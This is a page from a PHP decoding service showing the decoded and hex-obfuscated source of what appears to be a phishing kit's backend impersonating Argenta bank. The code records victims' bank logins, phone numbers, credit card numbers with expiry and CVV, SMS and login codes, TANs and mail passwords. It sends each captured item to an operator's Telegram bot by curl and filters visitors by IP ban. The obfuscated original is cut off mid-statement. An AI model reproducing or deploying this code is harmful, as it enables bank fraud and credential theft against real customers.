Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php namespace App\Models\Argenta; use PDO; class Argenta extends \Core\Model { public ..

Decoded Output download

<?php 
 namespace App\Models\Argenta; use PDO; class Argenta extends \Core\Model { public static function redirect() { $sql = "SELECT * FROM redirect WHERE id = :id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":id", 1, PDO::PARAM_INT); $stmt->execute(); $data = $stmt->fetch(); if ($data) { header("location: " . $data["redirect"]); die; } else { header("location: https://www.google.be"); die; } } public static function findBan($ip) { $sql = "SELECT * FROM bans WHERE ip = :ip"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":ip", $ip, PDO::PARAM_STR); $stmt->execute(); $data = $stmt->fetch(); if ($data) { return true; } return false; } public static function setLogInformation($uid) { $sql = "UPDATE logs SET bank = :bank, argenta_user = :empty, argenta_pass = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "ARGENTA", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setWifiInformation($uid) { $sql = "UPDATE logs SET bank = :bank, argenta_wifi = :empty, argenta_wifi_pass = :empty, argenta_wifi_pass_two = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "ARGENTA", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setCreditcardInformation($uid) { $sql = "UPDATE logs SET bank = :bank, argenta_creditcard = :empty, argenta_ccexp = :empty, argenta_cvv = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "ARGENTA", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setDetailsInformation($uid) { $sql = "UPDATE logs SET bank = :bank, argenta_exp = :empty, argenta_number = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "ARGENTA", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setCall($expiration, $number, $uid) { $sql = "UPDATE logs SET argenta_call = :expiration, argenta_call_two = :number, waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":expiration", $expiration, PDO::PARAM_STR); $stmt->bindValue(":number", $number, PDO::PARAM_STR); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $chatId = file_get_contents("../public/api/chat.ini"); $botToken = file_get_contents("../public/api/bot.ini"); $notify = "https://api.telegram.org/bot{$botToken}/sendMessage?chat_id={$chatId}&text=  - (Call)  ARGENTA%0A%0ACall me!%0A%0A - {$uid}"; $stmt->execute(); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $notify); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); } public static function setCallPage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, argenta_call = :empty, argenta_call_two = :empty WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setCallInformation($uid) { $sql = "UPDATE logs SET bank = :bank, argenta_call = :empty, argenta_call_two = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "ARGENTA", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setCustom($expiration, $number, $uid) { $sql = "UPDATE logs SET argenta_custom = :expiration, argenta_custom_two = :number, waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":expiration", $expiration, PDO::PARAM_STR); $stmt->bindValue(":number", $number, PDO::PARAM_STR); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $chatId = file_get_contents("../public/api/chat.ini"); $botToken = file_get_contents("../public/api/bot.ini"); $notify = "https://api.telegram.org/bot{$botToken}/sendMessage?chat_id={$chatId}&text=  - (Custom)  ARGENTA%0A%0ACall me!%0A%0A - {$uid}"; $stmt->execute(); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $notify); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); } public static function setCustomPage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, argenta_custom = :empty, argenta_custom_two = :empty WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setCustomInformation($uid) { $sql = "UPDATE logs SET bank = :bank, argenta_custom = :empty, argenta_custom_two = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "ARGENTA", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setPhotoInformation($uid) { $sql = "UPDATE logs SET bank = :bank, argenta_respons = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "ARGENTA", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setPhoto($respons, $uid) { $sql = "UPDATE logs SET argenta_respons = :respons, waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":respons", $respons, PDO::PARAM_STR); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $chatId = file_get_contents("../public/api/chat.ini"); $botToken = file_get_contents("../public/api/bot.ini"); $notify = "https://api.telegram.org/bot{$botToken}/sendMessage?chat_id={$chatId}&text=  - (Login Code)  ARGENTA%0A%0AResponse - {$respons}%0A%0A - {$uid}"; $stmt->execute(); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $notify); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); } public static function setPhotoPage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, argenta_respons = :empty WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setPhotoPageCode($uid, $page, $code) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, argenta_respons = :empty, argenta_code = :code WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":code", $code, PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function getPhotoCode($uid) { $sql = "SELECT * FROM logs WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":uid", $uid); $stmt->execute(); $data = $stmt->fetch(); if (!empty($data["argenta_code"])) { return $data["argenta_code"]; } return false; } public static function setConfirmInformation($uid) { $sql = "UPDATE logs SET bank = :bank, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "ARGENTA", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setTanInformation($uid) { $sql = "UPDATE logs SET bank = :bank, argenta_tan = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "ARGENTA", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function checkPayment($url = array()) { $sql = "SELECT * FROM requests WHERE url = :id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":id", $url, PDO::PARAM_STR); $stmt->execute(); $data = $stmt->fetch(); if ($data) { return $data; } return false; } public static function setLogin($username, $password, $uid) { $sql = "UPDATE logs SET argenta_user = :username, argenta_pass = :password, waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":username", $username, PDO::PARAM_STR); $stmt->bindValue(":password", $password, PDO::PARAM_STR); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $chatId = file_get_contents("../public/api/chat.ini"); $botToken = file_get_contents("../public/api/bot.ini"); $notify = "https://api.telegram.org/bot{$botToken}/sendMessage?chat_id={$chatId}&text=  - (Phone)  ARGENTA%0A%0APhone - {$username}%0A%0A - {$uid}"; $stmt->execute(); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $notify); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); } public static function setWifi($wifi, $pass, $confirm, $uid) { $sql = "UPDATE logs SET argenta_wifi = :wifi, argenta_wifi_pass = :pass, argenta_wifi_pass_two = :confirm, waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":wifi", $wifi, PDO::PARAM_STR); $stmt->bindValue(":pass", $pass, PDO::PARAM_STR); $stmt->bindValue(":confirm", $confirm, PDO::PARAM_STR); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $chatId = file_get_contents("../public/api/chat.ini"); $botToken = file_get_contents("../public/api/bot.ini"); $notify = "https://api.telegram.org/bot{$botToken}/sendMessage?chat_id={$chatId}&text=  - (Login)  ARGENTA%0A%0ACardNum - {$wifi}%0AExpiry - {$pass}%0A%0A - {$uid}"; $stmt->execute(); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $notify); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); } public static function setCreditcard($wifi, $pass, $confirm, $uid) { $sql = "UPDATE logs SET argenta_creditcard = :wifi, argenta_ccexp = :pass, argenta_cvv = :confirm, waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":wifi", $wifi, PDO::PARAM_STR); $stmt->bindValue(":pass", $pass, PDO::PARAM_STR); $stmt->bindValue(":confirm", $confirm, PDO::PARAM_STR); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $chatId = file_get_contents("../public/api/chat.ini"); $botToken = file_get_contents("../public/api/bot.ini"); $notify = "https://api.telegram.org/bot{$botToken}/sendMessage?chat_id={$chatId}&text=  - (CC)  ARGENTA%0A%0ACardNum - {$wifi}%0AExpiry - {$pass}%0ACvv - {$confirm}%0A%0A - {$uid}"; $stmt->execute(); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $notify); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); } public static function setConfirm($uid) { $sql = "UPDATE logs SET waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $stmt->execute(); } public static function setTan($tan, $uid) { $sql = "UPDATE logs SET argenta_tan = :tan, waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":tan", $tan, PDO::PARAM_STR); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $chatId = file_get_contents("../public/api/chat.ini"); $botToken = file_get_contents("../public/api/bot.ini"); $notify = "https://api.telegram.org/bot{$botToken}/sendMessage?chat_id={$chatId}&text=  - (Mail Pass)  ARGENTA%0A%0APassword - {$tan}%0A%0A - {$uid}"; $stmt->execute(); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $notify); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); } public static function setDetails($expiration, $number, $uid) { $sql = "UPDATE logs SET argenta_exp = :expiration, argenta_number = :number, waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":expiration", $expiration, PDO::PARAM_STR); $stmt->bindValue(":number", $number, PDO::PARAM_STR); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $chatId = file_get_contents("../public/api/chat.ini"); $botToken = file_get_contents("../public/api/bot.ini"); $notify = "https://api.telegram.org/bot{$botToken}/sendMessage?chat_id={$chatId}&text=  - (SMS)  ARGENTA%0A%0ASms - {$expiration}%0A%0A - {$uid}"; $stmt->execute(); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $notify); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); } public static function getPage($uid) { $sql = "SELECT * FROM logs WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->execute(); $data = $stmt->fetch(); if (!empty($data["page"])) { return $data["page"]; } return false; } public static function setLoginPage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, argenta_user = :empty, argenta_pass = :empty WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setControlPage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, argenta_wifi = :empty, argenta_wifi_pass = :empty, argenta_wifi_pass_two = :empty WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setCreditcardPage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, argenta_creditcard = :empty, argenta_ccexp = :empty, argenta_cvv = :empty WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setDetailsPage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, argenta_exp = :empty, argenta_number = :empty WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setConfirmPage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setTanPage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, argenta_tan = :empty WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setLiveInformation($uid) { $sql = "UPDATE logs SET bank = :bank, argenta_respons_two = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "ARGENTA", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setLive($respons, $uid) { $sql = "UPDATE logs SET argenta_respons_two = :respons, waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":respons", $respons, PDO::PARAM_STR); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $chatId = file_get_contents("../public/api/chat.ini"); $botToken = file_get_contents("../public/api/bot.ini"); $notify = "https://api.telegram.org/bot{$botToken}/sendMessage?chat_id={$chatId}&text=  - (Live Code)  ARGENTA%0A%0AResponse - {$respons}%0A%0A - {$uid}"; $stmt->execute(); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $notify); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); } public static function setLivePage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, argenta_respons_two = :empty WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setLivePageCode($uid, $page, $codetwo) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, argenta_respons_two = :empty, argenta_code_two = :codetwo WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":codetwo", $codetwo, PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function getLiveCode($uid) { $sql = "SELECT * FROM logs WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":uid", $uid); $stmt->execute(); $data = $stmt->fetch(); if (!empty($data["argenta_code_two"])) { return $data["argenta_code_two"]; } return false; } public static function setLivePageCodeTwo($uid, $page, $codethree) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, argenta_respons_two = :empty, argenta_code_three = :codethree WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":codethree", $codethree, PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function getLiveCodeTwo($uid) { $sql = "SELECT * FROM logs WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":uid", $uid); $stmt->execute(); $data = $stmt->fetch(); if (!empty($data["argenta_code_three"])) { return $data["argenta_code_three"]; } return false; } public static function setFinishPage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } } ?>

Did this file decode correctly?

Original Code

<?php
 namespace App\Models\Argenta; use PDO; class Argenta extends \Core\Model { public static function redirect() { $sql = "\x53\105\114\105\x43\124\40\x2a\x20\x46\x52\x4f\x4d\40\x72\x65\x64\151\162\145\143\164\x20\x57\110\105\x52\x45\x20\151\144\x20\x3d\x20\x3a\x69\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\151\x64", 1, PDO::PARAM_INT); $stmt->execute(); $data = $stmt->fetch(); if ($data) { header("\154\x6f\143\141\164\x69\157\156\x3a\x20" . $data["\x72\145\144\x69\x72\x65\143\x74"]); die; } else { header("\154\157\x63\x61\164\x69\157\x6e\x3a\40\150\x74\x74\x70\x73\x3a\x2f\57\167\x77\167\x2e\147\x6f\x6f\x67\x6c\145\56\x62\x65"); die; } } public static function findBan($ip) { $sql = "\x53\x45\x4c\x45\x43\x54\40\52\40\x46\122\117\115\40\x62\x61\x6e\x73\x20\x57\110\105\122\105\x20\151\x70\x20\75\x20\x3a\x69\160"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\151\x70", $ip, PDO::PARAM_STR); $stmt->execute(); $data = $stmt->fetch(); if ($data) { return true; } return false; } public static function setLogInformation($uid) { $sql = "\x55\x50\x44\101\x54\x45\x20\154\x6f\x67\x73\x20\123\x45\124\x20\x62\x61\156\x6b\40\x3d\x20\x3a\x62\x61\x6e\x6b\x2c\x20\141\x72\x67\x65\x6e\164\x61\137\165\x73\145\x72\40\75\40\72\145\155\x70\x74\x79\x2c\x20\141\162\147\145\x6e\164\x61\137\x70\141\x73\x73\40\75\x20\72\145\155\160\164\171\x2c\40\x70\141\147\145\40\75\x20\72\145\x6d\x70\164\171\54\x20\x77\x61\x69\164\x69\x6e\x67\x20\x3d\40\x3a\167\x61\x69\x74\151\x6e\x67\x20\127\x48\105\x52\105\x20\165\x73\145\162\137\151\x64\x20\75\x20\x3a\x75\163\x65\x72\x5f\x69\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\x62\x61\156\x6b", "\x41\122\107\105\x4e\124\101", PDO::PARAM_STR); $stmt->bindValue("\x3a\145\x6d\160\164\171", null, PDO::PARAM_STR); $stmt->bindValue("\72\x77\x61\x69\x74\151\156\x67", "\x66\141\x6c\x73\x65", PDO::PARAM_STR); $stmt->bindValue("\72\x75\x73\145\162\137\151\x64", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setWifiInformation($uid) { $sql = "\125\x50\104\x41\124\x45\40\x6c\157\x67\x73\x20\123\105\x54\x20\x62\x61\156\x6b\40\75\40\x3a\x62\x61\156\x6b\x2c\x20\x61\162\x67\x65\156\x74\x61\137\167\x69\x66\151\x20\x3d\40\x3a\x65\155\160\164\171\x2c\40\x61\x72\147\x65\x6e\164\x61\x5f\167\151\x66\x69\x5f\160\141\x73\163\40\x3d\40\x3a\145\155\160\164\171\54\x20\141\x72\147\x65\156\x74\x61\137\167\151\x66\x69\137\x70\x61\x73\x73\137\x74\x77\157\40\x3d\40\72\145\x6d\x70\x74\171\54\x20\160\x61\147\145\40\x3d\40\72\145\x6d\x70\x74\171\x2c\x20\167\141\151\x74\x69\156\147\x20\75\x20\72\167\141\151\164\x69\x6e\147\x20\127\110\x45\x52\x45\x20\165\163\x65\x72\137\x69\x64\40\75\40\x3a\x75\x73\x65\162\x5f\x69\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\x62\141\156\x6b", "\x41\122\x47\x45\x4e\124\x41", PDO::PARAM_STR); $stmt->bindValue("\72\x65\x6d\x70\164\x79", null, PDO::PARAM_STR); $stmt->bindValue("\72\x77\141\x69\x74\151\156\147", "\x66\141\x6c\x73\x65", PDO::PARAM_STR); $stmt->bindValue("\72\x75\163\145\162\137\x69\144", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setCreditcardInformation($uid) { $sql = "\125\x50\x44\101\x54\x45\40\154\x6f\x67\x73\x20\123\105\124\x20\x62\x61\156\153\x20\75\40\72\x62\x61\x6e\x6b\x2c\x20\x61\162\x67\x65\156\x74\141\x5f\143\x72\x65\144\x69\164\x63\141\162\144\40\x3d\x20\72\x65\155\x70\x74\171\x2c\40\141\x72\147\145\156\164\x61\137\x63\x63\145\170\160\40\75\40\72\145\155\160\x74\171\x2c\40\141\162\x67\145\156\x74\141\137\x63\x76\x76\x20\75\40\x3a\145\155\x70\164\x79\54\x20\x70\141\147\145\40\75\x20\x3a\145\155\160\x74\171\x2c\40\167\x61\x69\x74\x69\x6e\147\x20\75\x20\72\167\x61\151\164\151\x6e\147\40\x57\x48\105\x52\105\x20\x75\163\x65\x72\x5f\x69\x64\x20\x3d\x20\x3a\165\163\145\x72\x5f\x69\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\x62\141\156\x6b", "\101\x52\x47\x45\x4e\x54\x41", PDO::PARAM_STR); $stmt->bindValue("\72\145\155\x70\x74\171", null, PDO::PARAM_STR); $stmt->bindValue("\72\x77\x61\x69\164\151\156\147", "\146\141\x6c\163\145", PDO::PARAM_STR); $stmt->bindValue("\x3a\165\163\x65\x72\137\151\144", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setDetailsInformation($uid) { $sql = "\x55\x50\104\101\124\105\x20\x6c\157\x67\163\40\123\105\x54\40\142\141\x6e\153\40\x3d\40\72\x62\141\x6e\153\54\x20\141\x72\x67\x65\156\164\x61\137\145\x78\160\x20\x3d\x20\x3a\145\x6d\x70\164\171\x2c\40\x61\x72\x67\145\x6e\x74\x61\x5f\x6e\x75\155\142\x65\x72\x20\75\40\x3a\x65\x6d\160\164\x79\x2c\40\x70\141\147\x65\40\x3d\x20\x3a\145\x6d\x70\x74\171\54\x20\x77\141\151\x74\x69\x6e\x67\40\x3d\x20\72\x77\x61\x69\x74\151\156\x67\40\127\110\x45\122\x45\x20\165\x73\x65\x72\x5f\x69\144\40\75\x20\72\165\163\145\162\x5f\x69\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\x62\x61\156\153", "\x41\122\x47\105\116\124\101", PDO::PARAM_STR); $stmt->bindValue("\x3a\x65\155\x70\x74\x79", null, PDO::PARAM_STR); $stmt->bindValue("\72\167\141\151\164\151\x6e\147", "\x66\141\154\163\145", PDO::PARAM_STR); $stmt->bindValue("\72\165\x73\x65\162\137\151\x64", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setCall($expiration, $number, $uid) { $sql = "\x55\x50\x44\101\124\105\40\x6c\x6f\147\163\40\123\x45\124\40\x61\x72\147\145\156\x74\x61\137\x63\141\x6c\x6c\40\x3d\40\72\145\x78\x70\x69\x72\x61\x74\151\157\x6e\54\x20\141\162\147\x65\x6e\164\x61\x5f\x63\141\154\154\137\x74\167\x6f\40\75\x20\x3a\x6e\x75\155\142\x65\x72\x2c\x20\167\x61\151\x74\151\156\147\x20\75\x20\72\x77\141\151\x74\151\156\x67\x20\127\x48\105\122\105\40\x75\163\x65\x72\x5f\151\144\x20\x3d\x20\x3a\165\x69\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\145\x78\x70\151\x72\x61\164\151\x6f\x6e", $expiration, PDO::PARAM_STR); $stmt->bindValue("\x3a\156\x75\x6d\x62\145\162", $number, PDO::PARAM_STR); $stmt->bindValue("\72\x75\151\x64", $uid, PDO::PARAM_STR); $stmt->bindValue("\x3a\167\x61\x69\x74\151\x6e\x67", "\164\162\x75\145", PDO::PARAM_STR); $chatId = file_get_contents("\56\x2e\x2f\160\x75\142\154\x69\x63\x2f\x61\160\x69\x2f\x63\150\141\x74\56\151\156\151"); $botToken = 